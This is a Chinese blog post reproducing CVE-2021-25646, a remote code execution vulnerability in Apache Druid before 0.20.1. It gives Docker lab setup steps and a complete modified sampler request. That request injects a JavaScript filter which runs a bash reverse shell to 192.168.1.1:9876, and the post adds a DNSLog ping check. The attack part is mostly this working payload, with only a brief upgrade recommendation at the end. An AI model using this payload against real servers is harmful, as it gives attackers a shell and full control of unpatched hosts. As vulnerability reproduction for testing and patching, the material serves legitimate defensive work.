zoukankan      html  css  js  c++  java
  • CVE202125646:Apache Druid远程命令执行漏洞复现

    漏洞概述

    Apache Druid 是一个分布式的数据处理系统。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。在Druid 0.20.0及更低版本中,用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。

    影响版本

    Apache Druid < 0.20.1

    环境搭建

    docker pull fokkodriesprong/docker-druid
    docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid
    

    漏洞复现

    访问8888端口,进入Apache Druid首页:

    点击左上方Load data -> Local disk:

    右侧表单填入:
    Base directory:
    quickstart/tutorial/
    File filter:
    wikiticker-2015-09-12-sampled.json.gz

    接下来一路点击next,直到下一步是Filter时,抓取数据包:

    此时替换数据包中POST的data数据,原始数据:

    {"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[]}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
    

    替换后的数据:

    {"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
    "function":"function(value){return java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}",
    "dimension":"added",
    "":{
    "enabled":"true"
    }
    }}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
    

    其中,执行命令的代码为:

    "function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}"
    

    DNSLog测试

    exec('ping xxx.dnslog.cn -c 1')
    

    反弹shell

    exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')
    

    成功反弹shell。

    修复建议

    升级到最新版Apache Druid 0.20.1

    下载链接:https://druid.apache.org/downloads.html

  • 相关阅读:
    Java 注解(Annotation)
    定时任务相关介绍
    Linux基础命令yum
    Linux基础命令rpm
    Linux基础命令date(如何设置时间? 如何同步时间?)
    Linux基础命令tar(如何压缩文件?如何解压文件?如何不解压查看内容?)
    Linux基础命令gzip
    Linux基础命令zip unzip (压缩 解压)
    Linux中压缩的概念(什么是压缩包?)
    Linux基础命令练习答案7.27
  • 原文地址:https://www.cnblogs.com/cHr1s/p/14365418.html
Copyright © 2011-2022 走看看